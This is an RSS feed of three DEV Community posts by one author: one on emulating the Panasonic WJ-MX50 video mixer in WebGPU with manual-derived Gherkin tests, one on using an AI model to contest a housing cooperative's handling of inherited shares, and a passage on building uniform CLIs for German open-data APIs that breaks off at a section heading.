<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian Schürmann</title>
    <description>The latest articles on DEV Community by Sebastian Schürmann (@sebs).</description>
    <link>https://dev.to/sebs</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F20049%2Fdfdb5f55-23bd-4bc1-9605-bd548fc3b62d.jpeg</url>
      <title>DEV Community: Sebastian Schürmann</title>
      <link>https://dev.to/sebs</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sebs"/>
    <language>en</language>
    <item>
      <title>Resurrecting the Panasonic WJ-MX50 in WebGPU</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 27 Jul 2026 22:03:04 +0000</pubDate>
      <link>https://dev.to/sebs/resurrecting-the-panasonic-wj-mx50-in-webgpu-3ali</link>
      <guid>https://dev.to/sebs/resurrecting-the-panasonic-wj-mx50-in-webgpu-3ali</guid>
      <description>&lt;p&gt;&lt;em&gt;In which a 1990s two-bus video mixer is reduced to a reducer, and the operating manual turns out to be a test suite.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0oa5k5t6lk8bp1jd5qct.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0oa5k5t6lk8bp1jd5qct.png" alt=" " width="352" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Panasonic WJ-MX50 was a desktop digital A/V mixer sold in the early 1990s for wedding videographers, cable-access studios, and anyone else doing A/B-roll editing on S-VHS decks. Two buses, four sources, 287 wipe patterns, a chroma keyer, a downstream keyer, eight event memories, and a joystick. The whole thing was defined by a 40-page operating manual that is unusually precise about behavior: which button blinks when, which effect excludes which, how many frames an auto-fade may take (0 to 510, in steps of 2 — not 1, not 5).&lt;/p&gt;

&lt;p&gt;That is what Panasonic sold it for. It is not what we used it for. Well into the 2000s, this thing was on stage with us in techno clubs, doing VJ duty for hours at a stretch. Two of its four channels were fed by computers running VJ software; the others carried digital video players and stills, depending on the club setup. The computers generated the material, but the MX50 is where the performance happened. Used that way, it stops being an editing appliance and becomes an instrument: the lever is played, not set; the joystick throws a mosaic block around the screen in time with the kick; Auto Take with the transition control at minimum is a percussion button. It is a profoundly interactive way to do visuals — interactive enough that people watching us work the panel regularly mistook us for the DJs, or for a live act. Nobody mistakes a laptop VJ for anything.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/FQA_01Ck95Y"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;So when I set out to reproduce the unit in a browser, the question was never whether it could be made to look like an MX50. The question was whether it could be made to &lt;em&gt;behave&lt;/em&gt; like one — block for block, blink for blink — because an instrument lives in its behavior, and twenty-year-old muscle memory is an unforgiving reviewer. The manual served as the specification of record; my hands served as the acceptance test. The result is web-mx-50: vanilla TypeScript, WebGPU for the video path, Web Audio for the mixer, no framework, no bundler, and about 5,700 lines of source. This article describes the parts of the exercise that turned out to be interesting. The artwork is not one of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The manual is the program
&lt;/h2&gt;

&lt;p&gt;The first job was not code. It was reading the manual until it stopped being a manual and started being a data structure. The MX50's feature set looks sprawling, but it decomposes cleanly, because the hardware itself was built from blocks wired in a fixed order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Source -&amp;gt; bus assignment -&amp;gt; Colour Correction -&amp;gt; Digital Effect
       -&amp;gt; Mix/Wipe -&amp;gt; Downstream Key -&amp;gt; Fade -&amp;gt; Program Out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That order is not an implementation detail; it is observable behavior. The downstream key sits after the effects, which is why a title stays sharp over a mosaic. The fade sits last, which is why you can fade the video out and leave the title standing. So the first architectural decision was to make the block order structural: the renderer is a sequence of passes in exactly that order, and no code path can reorder them. The signal graph is written down once, in one module, and everything else reads it.&lt;/p&gt;

&lt;p&gt;The second observation was that nearly all of the manual's fussy details are &lt;em&gt;state transitions&lt;/em&gt;, not pixels. "Press A once, the LED blinks and CHROMA is active; press again, the LED goes solid and the RGB joystick is added; press a third time, correction is off." "If Matte is selected on a bus and you press that bus's direct-out button, the unit outputs the blinking substitute source instead." "Still switches off automatically when Strobe is engaged, but Trail may run on top of Still." None of that needs a GPU to verify. It needs a state machine and someone patient enough to transcribe the manual into scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  One value, one reducer
&lt;/h2&gt;

&lt;p&gt;The entire panel — both buses, the matte generator, the wipe pattern selection, the DSK sliders, the fade enables, all eight event memories — is a single plain JSON-serializable value. Every change goes through one pure reducer as a typed command. No classes, no observables, no GPU handles or &lt;code&gt;HTMLVideoElement&lt;/code&gt; references inside the state; device bindings are referenced by id and resolved outside the store.&lt;/p&gt;

&lt;p&gt;This is not a fashionable choice so much as a forced one, and the hardware forced it twice. First, the MX50 has Event Memory: eight snapshots of the complete panel, storable and recallable at the press of a button. If your state is one plain value, Event Memory is &lt;code&gt;structuredClone&lt;/code&gt; and an array of eight slots. If your state is scattered across component instances, Event Memory is a research project. Second, the unit holds its settings across power cycles (about a week on the internal backup, says the manual), which maps to schema-versioned browser storage — again trivial if the state is one value, and miserable otherwise.&lt;/p&gt;

&lt;p&gt;The same store made the control layer thin. The original unit had a GPI contact input and an RS-422 port for an edit controller. The browser equivalent is a mapping layer that normalizes keyboard, gamepad, MIDI, and a small automation API onto the same command vocabulary the front panel uses. A MIDI fader and the on-screen lever end up as the same command with a different origin, which is exactly how the hardware treated its own remote protocol. This layer is also where the instrument angle survives translation: a screen full of widgets is not something you can play with your eyes on the crowd, but a MIDI controller with a real crossfader is, and mapping one onto the MX50's command set takes a table, not a subsystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cucumber, of all things
&lt;/h2&gt;

&lt;p&gt;The behavioral spine of the project is 536 Gherkin scenarios (3,921 steps) in 26 &lt;code&gt;.feature&lt;/code&gt; files, one per hardware block, each scenario ground-truthed against a section of the manual. Alongside them run 208 conventional unit tests. All of it executes headlessly against the real domain code — no GPU, no DOM, no browser.&lt;/p&gt;

&lt;p&gt;I am aware that Cucumber has a reputation, mostly earned, as a ceremony generator for enterprise projects where nobody reads the features. Here it did honest work, for one reason: the source material was already written in Gherkin's register. The manual says things like "When the SELECT button is pressed, the color indicated on the Matte Color Indicator changes from lower to upper. The Black will be selected after the Color Bar." That is a scenario. You transcribe it, wire the steps to the reducer, and now a forty-page document from 1992 fails your build when you get the matte cycling order wrong. When behavior and code disagree, the feature file wins until a scenario is deliberately changed — a policy that sounds bureaucratic and in practice meant the manual kept catching me.&lt;/p&gt;

&lt;p&gt;The wipe engine benefited most from this. The MX50's 287 wipe patterns are not a list; they are a small algebra. Seven pattern families, each cycling four variants, times a set of stackable modifiers (Compression, Slide, Multi, Pairing, Blinds), with a legality table for which combinations exist and a numbering scheme where pattern &lt;em&gt;n&lt;/em&gt; and pattern &lt;em&gt;n&lt;/em&gt;+128 are the same wipe reversed. Numbers above 255 exist on the panel but cannot be addressed over RS-422, and the external edit controller could only call 01–99, with 99 meaning "whatever is currently set up" — an escape hatch I have come to admire. All of that is pure arithmetic and table lookups, implemented in one GPU-free module and specified exhaustively in Gherkin. The shader consumes its output; it does not reimplement it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The GPU part
&lt;/h2&gt;

&lt;p&gt;The wipe shader treats each family as an analytic signed distance field &lt;code&gt;f(uv, progress, variant)&lt;/code&gt;. The A/B mask is &lt;code&gt;smoothstep(-w, +w, f)&lt;/code&gt;; the Soft button sets the feather width &lt;code&gt;w&lt;/code&gt;; the Border button draws a colored band where &lt;code&gt;|f|&lt;/code&gt; is small, with the color computed CPU-side as the complement of the current matte color, exactly as the manual specifies. Reverse mirrors a coordinate, Aspect scales one axis for the square family, Multi tiles the coordinate space, Pairing mirrors it before evaluation. One shader, one uniform block, seven fields.&lt;/p&gt;

&lt;p&gt;Two decisions here deserve a note because they are where fidelity was deliberately bent.&lt;/p&gt;

&lt;p&gt;The first: no NTSC. The real unit sampled 8-bit component video at 4:1:1 and juggled interlaced fields; its Frame button traded vertical resolution against interlace flicker. Browser sources arrive as progressive full-resolution RGBA frames on a compositor clock. Emulating chroma subsampling, field parity, and genlock drift would mean synthesizing artifacts the input never had — fiction, not emulation. So the working representation is linear-light RGBA with sRGB output, the compositing math is done in linear space (do this, or your wipe edges gamma-darken), and the Frame button's behavior is documented as moot. The substrate was deferred; the behavior was not.&lt;/p&gt;

&lt;p&gt;The second: the frame synchronizer, the MX50's headline feature in 1992, is not built, because the problem it solved no longer exists. What survives from that silicon is its side effect — per-bus frame memory — which is what Still, Strobe, Multi, and Trail actually consume. Those four effects share one GPU frame-store per bus, and because they share it, the hardware's odd exclusion rules (Still and Strobe are mutually exclusive; Trail rides on Still) fall out of the design rather than being bolted on. It is pleasant when the original engineers' constraints explain your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timing, or why 300 frames is 300 frames
&lt;/h2&gt;

&lt;p&gt;Auto Take and Auto Fade run 0–510 frames in 2-frame steps, pausable mid-flight. In a club this is not a convenience feature; it is how you land a transition on a phrase boundary — dial the frame count once, then fire it on the one. A transition whose duration wobbles with the display refresh rate would be useless for that. And if you drive it from &lt;code&gt;requestAnimationFrame&lt;/code&gt; deltas, that is what you get: a 300-frame fade takes a different wall time on a 60 Hz and a 144 Hz monitor, and your tests need a browser besides. Instead there is a fixed-timestep logical clock: an accumulator converts real elapsed time into whole video-frame ticks, all time-dependent logic reads ticks only, and the present loop uses the sub-tick fraction purely for interpolation. Tests step the clock directly. A 300-frame fade is 300 ticks everywhere, which is the kind of sentence you want to be able to write about a mixer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would tell you if you tried this
&lt;/h2&gt;

&lt;p&gt;Pick an artifact with a good manual. The MX50 succeeded here because Panasonic's technical writers in 1992 specified blinking LEDs and frame counts; a vaguer manual would have left me inventing behavior and calling it fidelity. Transcribe first, code second — the feature files were worth more than any framework. Keep the state in one dumb value; every hardware feature that looked hard (event memory, persistence, external control) became easy for that one reason. And decide early, in writing, which parts of the past you are not bringing along. There are sixteen architecture decision records in the repository, and the two most useful ones are the ones that say "no."&lt;/p&gt;

&lt;p&gt;The domain model is complete and verified. The deferred remainder — mostly rendered-pixel verification and browser-only surfaces — is inventoried with a file and line number for each item, which is as close as a proof of concept gets to a clean desk.&lt;/p&gt;

&lt;p&gt;The code is at &lt;a href="https://github.com/sebs/webgpu-mx-50" rel="noopener noreferrer"&gt;github.com/sebs/webgpu-mx-50&lt;/a&gt; The manual, as ever, is the authority — though the manual never once anticipated a smoke machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Status and what comes next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The prototype source is published.&lt;/li&gt;
&lt;li&gt;Next: a web component, so the mixer can be dropped into any website.&lt;/li&gt;
&lt;li&gt;A demo setup with Source A/B, preview, and program-out channels.&lt;/li&gt;
&lt;li&gt;A UI reproducing the original panel layout.&lt;/li&gt;
&lt;li&gt;Multi-tab and multi-window operation.&lt;/li&gt;
&lt;li&gt;Further exploration of the mixer in a website context as a tool for visual art.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>cleanroom</category>
      <category>programming</category>
      <category>webgpu</category>
    </item>
    <item>
      <title>Claude Lawfare</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Fri, 24 Jul 2026 17:45:39 +0000</pubDate>
      <link>https://dev.to/sebs/claude-lawfare-15on</link>
      <guid>https://dev.to/sebs/claude-lawfare-15on</guid>
      <description>&lt;p&gt;CN: Death&lt;/p&gt;

&lt;h2&gt;
  
  
  I. The letter
&lt;/h2&gt;

&lt;p&gt;My father died in November. Sometime between the 16th and the 19th — the death certificate gives a range, not a date, which is its own small horror to read on a form.&lt;/p&gt;

&lt;p&gt;Months later, after the apartment was emptied and cleaned and handed back, after the trip south to collect the certificate of inheritance from the probate court and carry it, personally, to the housing cooperative's office, two letters arrived. They were dated eighteen days apart. They arrived in the same envelope, on the same day.&lt;/p&gt;

&lt;p&gt;The gist: his membership in the cooperative would end. The shares — fourteen of them, a small four-figure sum — would be paid out to me after next year's members' meeting. A transfer of the shares themselves was "no longer possible due to the long delay."&lt;/p&gt;

&lt;p&gt;I didn't want the money. I wanted the shares. In a housing cooperative the shares aren't an investment, they're a position: they're what makes you a member rather than a possible tenant. Converting them to cash is not a settlement, it's an eviction from a category: I could get a affordable apartment in my hometown and given I work in a org functionality for a company based there. Do your Math.&lt;/p&gt;

&lt;p&gt;I also had the strong feeling — the specific, useless feeling you get when an institution tells you something in the passive voice — that this was wrong. Not unfair. &lt;em&gt;Wrong.&lt;/em&gt; As in: incorrect. As in: someone in an office had put my file in the wrong pile and the wrong pile had a form letter attached to it.&lt;/p&gt;

&lt;p&gt;But feeling that and knowing it are different things, and the gap between them is exactly where most people give up. That gap is made of statutes you've never read, a set of bylaws written in 1871 and amended for a century and a half, and the entirely reasonable suspicion that fighting over a four-figure sum will cost you more than the four figures.&lt;/p&gt;

&lt;p&gt;So I did the thing that would have been science fiction three years ago. I dumped everything — the bylaws, the letters, the emails, the death certificate, the handover protocol, the whole miserable folder — into a context window and asked a language model to tell me whether I was right.&lt;/p&gt;

&lt;p&gt;180 minutes later I had a two-page letter citing four statutes and three bylaw sections, a reference document mapping every legal provision in play, and a clear answer to the question I'd actually been asking, which was not &lt;em&gt;what are my rights&lt;/em&gt; but &lt;em&gt;am I crazy.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I was not crazy. The cooperative had applied the wrong paragraph.&lt;/p&gt;




&lt;h2&gt;
  
  
  II. What actually happened, technically
&lt;/h2&gt;

&lt;p&gt;The mechanics matter here, because the interesting part isn't "AI wrote a letter." Anyone can get an AI to write a letter. The interesting part is the shape of the reasoning, and where the machine was better than I was, and where it was worse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The documents were garbage and it didn't matter.&lt;/strong&gt; The bylaws were a scanned PDF of a printed booklet — no text layer, and the file wasn't even really a PDF, it was a zip of page images with a misleading extension. In 2019 this is where the project dies. Instead: unzip, rasterize, OCR with a German language model, and thirty-two pages of 19th-century cooperative law became searchable text. Imperfect text — the OCR rendered § as $ half the time — but searchable. The bad scan is no longer a barrier to entry. That is a bigger deal than it sounds. An enormous amount of the law that governs ordinary people's lives sits in exactly this format: scanned, unindexed, technically public and practically inaccessible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The core error was a paragraph mix-up, and finding it required reading two provisions side by side.&lt;/strong&gt; The cooperative had reasoned from the section governing &lt;em&gt;transfer of shares between living people&lt;/em&gt; — which requires board approval, to which no one has a right. Hence "not possible." But when a member dies, that section doesn't apply. A different one does: the one saying membership &lt;em&gt;continues&lt;/em&gt; through the heirs. Automatically. By operation of law. No application, no approval, no transfer. The entry in the members' register merely records what already happened; it doesn't create it.&lt;/p&gt;

&lt;p&gt;That's the whole case. One paragraph substituted for another. It's not an exotic legal theory, it's a filing error with legal consequences, and once you see it you can't unsee it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The strongest argument came from a distinction the model made that I hadn't.&lt;/strong&gt; The bylaws &lt;em&gt;do&lt;/em&gt; contain a six-month deadline — but the clause begins "if there are several heirs." I'm an only child of a divorced man; there is no one else. The deadline was never running. And then the move that made it airtight: that clause exists because the statute &lt;em&gt;permits&lt;/em&gt; cooperatives to impose such a deadline, and the statute permits it explicitly and only "for the case of inheritance by several heirs." So even if the cooperative wanted to read its own bylaws expansively, it couldn't — the law above the bylaws doesn't allow it. The argument shifted from &lt;em&gt;that's not what your rules say&lt;/em&gt; (arguable) to &lt;em&gt;your rules aren't allowed to say more&lt;/em&gt; (not arguable).&lt;/p&gt;

&lt;p&gt;I would not have found that. I know what I know, and the hierarchy between an enabling statute and a bylaw clause is not in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The date the cooperative chose gave away its own reasoning.&lt;/strong&gt; Termination "due to death" — effective December 31st of the following year. That date can't be derived from anything except the several-heirs clause: deadline expires, membership ends at the close of that business year. So the office had assumed a community of heirs that failed to meet a deadline. The certificate of inheritance, which they had in their hands, says "sole." The date was a confession.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And they had already called me the heir in writing.&lt;/strong&gt; Buried in an April email, in the middle of a paragraph about renovation costs: "son and heir of the deceased." They had accepted my inheritance for every obligation — clearing the apartment, the repairs, an outstanding invoice — and denied it for the one right attached to it. There's a Latin phrase for this and a section of the civil code, but you don't need either. You need someone to notice the sentence. The model noticed the sentence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it was worse than me, and this matters more than the wins:&lt;/strong&gt; at one point a draft stated a fact about my own case more precisely than I could actually back up. Not invented — I had told it so, and it had reasonably taken my word. But a confident, checkable, &lt;em&gt;false-if-challenged&lt;/em&gt; factual claim sitting in the middle of an otherwise solid letter is exactly the thing that gets a good case laughed out of a room. The fix was to restate it in a form that was still true if someone pushed. Same argumentative force, no exposure.&lt;/p&gt;

&lt;p&gt;The model flagged the risk itself, which is to its credit. But I had to be in the room to know which version of the fact would survive contact with the other side. &lt;strong&gt;The machine can tell you which sentence is dangerous. It cannot tell you which one is true.&lt;/strong&gt; That's the whole division of labor, and everything below follows from it.&lt;/p&gt;




&lt;h2&gt;
  
  
  III. The politics of having this thing
&lt;/h2&gt;

&lt;p&gt;Here's the part I've been circling.&lt;/p&gt;

&lt;p&gt;What happened in those 180 minutes was not that I got legal advice. I got something more specific and, I think, more consequential: &lt;strong&gt;I got parity.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The cooperative's office has a process. The process has been run hundreds of times. It has form letters, an internal sequence, precedent, and — decisively — the knowledge that almost nobody on the receiving end will check. That last asymmetry is the load-bearing one. Institutions are not usually malicious. They are usually &lt;em&gt;routinized&lt;/em&gt;, and routine plus asymmetric knowledge produces outcomes indistinguishable from malice while everyone involved keeps a clear conscience.&lt;/p&gt;

&lt;p&gt;The traditional fix is a lawyer. The traditional fix costs more than the thing you're fighting over, which is why the traditional fix mostly doesn't get used, which is why the routine keeps producing the same outcome. Every small wrong sits below the threshold where the remedy makes economic sense. That's not a bug in the legal system, that's the equilibrium the legal system rests on.&lt;/p&gt;

&lt;p&gt;A capable model collapses the cost of &lt;em&gt;the first 180 percent&lt;/em&gt; of that work to roughly zero. Not the last ten. Not the courtroom, not the strategy under adversarial pressure, not the judgment about which fights are worth having. But the reading, the mapping, the finding of the wrong paragraph, the drafting, the citation-checking — the part that turns a feeling into a claim. That part is now free.&lt;/p&gt;

&lt;p&gt;I want to be careful about the triumphalism here, because there are three things about this that worry me.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First: this cuts both ways, and the other way has more money.&lt;/strong&gt; If I can produce a well-cited demand letter in 180 minutes, so can a debt collector, a patent troll, a landlord's management company, a firm that sends ten thousand letters a month hoping two percent pay. The cost of &lt;em&gt;generating&lt;/em&gt; legal pressure has fallen for everyone, and the people who were already generating legal pressure at industrial scale have better tooling and no scruples about volume. A world where everyone can produce a plausible legal threat instantly is not obviously a world with more justice in it. It may just be a world with more letters.&lt;/p&gt;

&lt;p&gt;The asymmetry doesn't vanish. It moves. What used to be an asymmetry of &lt;em&gt;access to expertise&lt;/em&gt; becomes an asymmetry of &lt;em&gt;capacity to absorb noise&lt;/em&gt;. Institutions can absorb noise. Individuals can't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second: fluency is not correctness, and this failure mode is nastier than the old one.&lt;/strong&gt; The false date almost went out. It was in a paragraph that read beautifully. A wrong claim wrapped in correct citations and confident structure is more dangerous than obvious nonsense, because obvious nonsense gets caught. There is a specific new hazard — a person with no legal training, holding a document that &lt;em&gt;looks&lt;/em&gt; exactly like competent legal work, with no ability to tell which sentences are load-bearing and which are fabricated. They will send it. Some of them will send it into situations far more consequential than a dispute over cooperative shares.&lt;/p&gt;

&lt;p&gt;The thing that made this work was not the model's competence. It was that I could check the facts it asserted, because the facts were about my own life. Every single time I caught something, it was a fact about &lt;em&gt;me&lt;/em&gt; — what had actually happened, and how much of it I could prove. That's the domain where a layperson retains real epistemic authority. Push into a domain where the user can't check anything and the same fluency becomes a liability with a nice typeface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Third, and this is the one that actually keeps me up: this capability is contingent, and it is nobody's right.&lt;/strong&gt; I used a frontier model, on a good day, with a large context window, with tools that let it run OCR and search the web and render documents. None of that is guaranteed to exist next year in the form it exists today, at a price I can pay, for the uses I want to put it to.&lt;/p&gt;

&lt;p&gt;Access can be tiered. Capability can be routed — a query about something sensitive can quietly get answered by a smaller model, and you may not be told. Terms of service can carve out legal use entirely, and there are real liability reasons a provider might want them to. Regulation could mandate that carve-out in the name of consumer protection, which would protect consumers from bad legal advice by protecting them from any legal advice at all, in the way that a locked hospital protects you from infection.&lt;/p&gt;

&lt;p&gt;And the people who'd be least affected by all of that are the ones who already have lawyers.&lt;/p&gt;

&lt;p&gt;The most darkly funny version of this: the institutions on the other side of these disputes will absolutely have the enterprise tier. Legal-tech procurement is a line item. A large housing company, an insurer, a collections agency — they will have the good model, integrated, with a compliance wrapper and an indemnity clause. The question is whether the person on the receiving end of the form letter has anything at all.&lt;/p&gt;

&lt;p&gt;That, and not model capability, is the political question. The technology to close the gap exists. It worked. I have the letter, cited and dated and in the mail. The open question is whether that stays true for people with less time, less education, less money, and a worse case than mine — or whether this turns out to have been a brief window in which the tools were unusually good and unusually available, before the pricing and the liability lawyers and the regulators sorted everyone back into the categories they came from.&lt;/p&gt;




&lt;p&gt;I don't know how the dispute ends. The deadline I set falls in the middle of August. If nothing happens I have two more letters ready — one to the supervisory board, one to the auditing association that reviews the cooperative's administration, including, as it happens, the correct maintenance of the members' register.&lt;/p&gt;

&lt;p&gt;Both were drafted in about twenty minutes.&lt;/p&gt;

&lt;p&gt;That's the part I can't stop thinking about. Not that a machine helped me win an argument. That a fight I would have lost by default — not on the merits, by &lt;em&gt;default&lt;/em&gt;, by exhaustion, by the sheer administrative friction of being one person against a process — became a fight I could actually have.&lt;/p&gt;

&lt;p&gt;For now.&lt;/p&gt;

</description>
      <category>lawtech</category>
      <category>claude</category>
      <category>kidsdontdothisathome</category>
      <category>wehaveperrymasonathome</category>
    </item>
    <item>
      <title>sudo 'schland just give me my data</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 06 Jul 2026 17:31:08 +0000</pubDate>
      <link>https://dev.to/sebs/sudo-schland-just-give-me-my-data-4ga7</link>
      <guid>https://dev.to/sebs/sudo-schland-just-give-me-my-data-4ga7</guid>
      <description>&lt;p&gt;There's an old xkcd. Guy says "make me a sandwich." Gets refused. Says "sudo make me a sandwich." Gets a sandwich.&lt;/p&gt;

&lt;p&gt;I've been running the same play, except the sandwich is public data and the reluctant party is the Federal Republic of Germany. The result is &lt;a href="https://github.com/maschinenlesbar-org" rel="noopener noreferrer"&gt;maschinenlesbar.org&lt;/a&gt;: Many TypeScript CLIs, one per open API the German state runs, all on npm, all built the same way. &lt;code&gt;sudo bundesrepublik --json&lt;/code&gt;, more or less. 25 is the current count. The plan is roughly a hundred.&lt;/p&gt;

&lt;h2&gt;
  
  
  The joke in the name
&lt;/h2&gt;

&lt;p&gt;"Maschinenlesbar" means machine-readable, and it's not a word I made up for branding. It appears &lt;em&gt;in German law&lt;/em&gt;. The E-Government-Gesetz obliges federal agencies to publish their data in machine-readable formats. A country that still confirms things by fax has a statute demanding machine-readability.&lt;/p&gt;

&lt;p&gt;And on paper, the agencies delivered. Live water levels for every federal waterway. The complete federal budget. Every registered lobbyist. Ambient gamma radiation from about 1,700 probes. Parliamentary proceedings going back decades. All behind REST endpoints, largely unauthenticated.&lt;/p&gt;

&lt;p&gt;So far, so good. Now try to &lt;em&gt;connect&lt;/em&gt; any of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The moat
&lt;/h2&gt;

&lt;p&gt;Here's the thesis, and it holds across every party and every legislative period: the core strategy of German open-data politics is the prevention of interoperability. The data is published — that box is checked. The data cannot be linked. That's the actual defense.&lt;/p&gt;

&lt;p&gt;Smart people have spent years trying to get one uniform interface over the &lt;em&gt;kleine Anfragen&lt;/em&gt; — the written parliamentary questions — across Germany's parliaments. Or the parliamentary documentation, sixteen states plus the Bundestag, in one format. LOL. There are X systems and every single one does things &lt;em&gt;slightly&lt;/em&gt; differently. Federalism is a fine idea for distributing power; here it moonlights as a technique for making sure data never meets other data. Nobody had to forbid anything. No shared identifiers, no common schemas, a different timestamp format per API, one endpoint speaking clean JSON and the next speaking WFS — an OGC standard older than the iPhone — and the job is done.&lt;/p&gt;

&lt;p&gt;And when passive fragmentation isn't enough, there's the active move: change a format, arbitrarily, and watch every downstream tool die. That trick has quietly killed civic-tech projects for two decades.&lt;/p&gt;

&lt;p&gt;Because the dangerous thing was never a single dataset. A lobbyist list is a phone book. A budget is a spreadsheet. It's the &lt;em&gt;join&lt;/em&gt; that produces accountability: this lobbyist, this committee, this budget line, this vote. Publish everything, link nothing, and you get transparency theater — technically open, practically opaque.&lt;/p&gt;

&lt;h2&gt;
  
  
  25 boring CLIs as a political act
&lt;/h2&gt;

&lt;p&gt;Which is why aggressive uniformity is the entire design. Every CLI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;installs the same way (&lt;code&gt;npm i -g &amp;lt;name&amp;gt;-cli&lt;/code&gt;, or just &lt;code&gt;npx&lt;/code&gt; it)&lt;/li&gt;
&lt;li&gt;emits JSON on stdout, errors on stderr, honest exit codes&lt;/li&gt;
&lt;li&gt;ships as a typed API client too, if you'd rather import than shell out&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Uniformity on the outside is interoperability retrofitted in userland. The state won't build the joins — fine, &lt;code&gt;jq&lt;/code&gt; and a pipe will.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"write programs that handle text streams, because that is a universal interface" &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Doug McIlroy's quote is fifty years old and turns out to double as civic infrastructure.&lt;/p&gt;

&lt;p&gt;There's also a speed asymmetry worth naming. The state ships one half-baked portal per geological epoch. An open-source tool, once it's out there, does five to ten iterations in the same window — and how that pace is sustained across a hundred repos is its own story, which I'll get to at the end. Suffice it for now: I'm genuinely curious whether the old sabotage strategies still work. My bet is no.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anti-journalism, in the friendliest possible way
&lt;/h2&gt;

&lt;p&gt;The other honest motivation, and I know how the word sounds: this is anti-journalism activism.&lt;/p&gt;

&lt;p&gt;Not anti-truth. Anti-middleman. The project started because I wanted to understand politics better and noticed the way to do it was to stop reading coverage and start reading sources — because something is deeply off in the land of print and online.&lt;/p&gt;

&lt;p&gt;If you've followed games journalism, you already know the mechanism. Embargo access, preview trips, review copies: cuddle with the subject of your reporting long enough and their viewpoints start seeping into the copy. Whoever wants access has to heel. Berlin political journalism runs the identical loop, just with ministries instead of publishers. Ask genuinely hard questions and you stop getting interview partners; stay harmless and you get the chancellor on your politics podcast — formats that have degraded into free airtime, retransmitting campaign promises without so much as a follow-up question.&lt;/p&gt;

&lt;p&gt;The business model completes the picture, and it's beautifully inverted: the comment section — the part engineered to split people, because division is engagement — is free. The actual reporting sits behind the paywall. Outrage as the loss leader, information as the premium tier. Meanwhile the 90-page committee document that the 400-word article summarizes sits in a public API, timestamped and complete, read by approximately nobody.&lt;/p&gt;

&lt;p&gt;Here's the sentence that will annoy everyone, so let me stand behind it: a language model reproduces mediocrity, at best. That happens to clear the bar for most of German political journalism. If your value-add over the primary source is a summary plus a framing, you are competing with &lt;code&gt;curl&lt;/code&gt; piped into a tin can — and losing on price, speed, and blood pressure.&lt;/p&gt;

&lt;p&gt;But replacement is the petty version of the goal. The real one is democratizing access. A normal citizen has neither the money to first train as a political scientist nor the decade for a traineeship just to work out what a law will actually do to them. The documents are public; the &lt;em&gt;literacy&lt;/em&gt; was gatekept. An agent with these CLIs closes that gap — and sometimes the entire barrier is language: rewrite a committee report in plain German, or in another language altogether, and a document that was technically public becomes actually accessible. Plenty of people can consume politics straight from the source once someone removes the provocative framing that only ever served somebody else's revenue. I'm fairly certain I'm not the only one who wants that.&lt;/p&gt;

&lt;p&gt;The manual version of this research already works and I've done it plenty: pull a member of parliament from the Bundestag's DIP system, enrich the picture at abgeordnetenwatch.de, then follow the person's pet topic down a FragDenStaat rabbit hole of freedom-of-information requests. Handwork, but it delivers — that route has genuinely surprised me more than once, and the surprises are the point. I go looking for my unknowns.&lt;/p&gt;

&lt;p&gt;Handwork, though? Maybe not for long.&lt;/p&gt;

&lt;h2&gt;
  
  
  The new Unix user has no hands
&lt;/h2&gt;

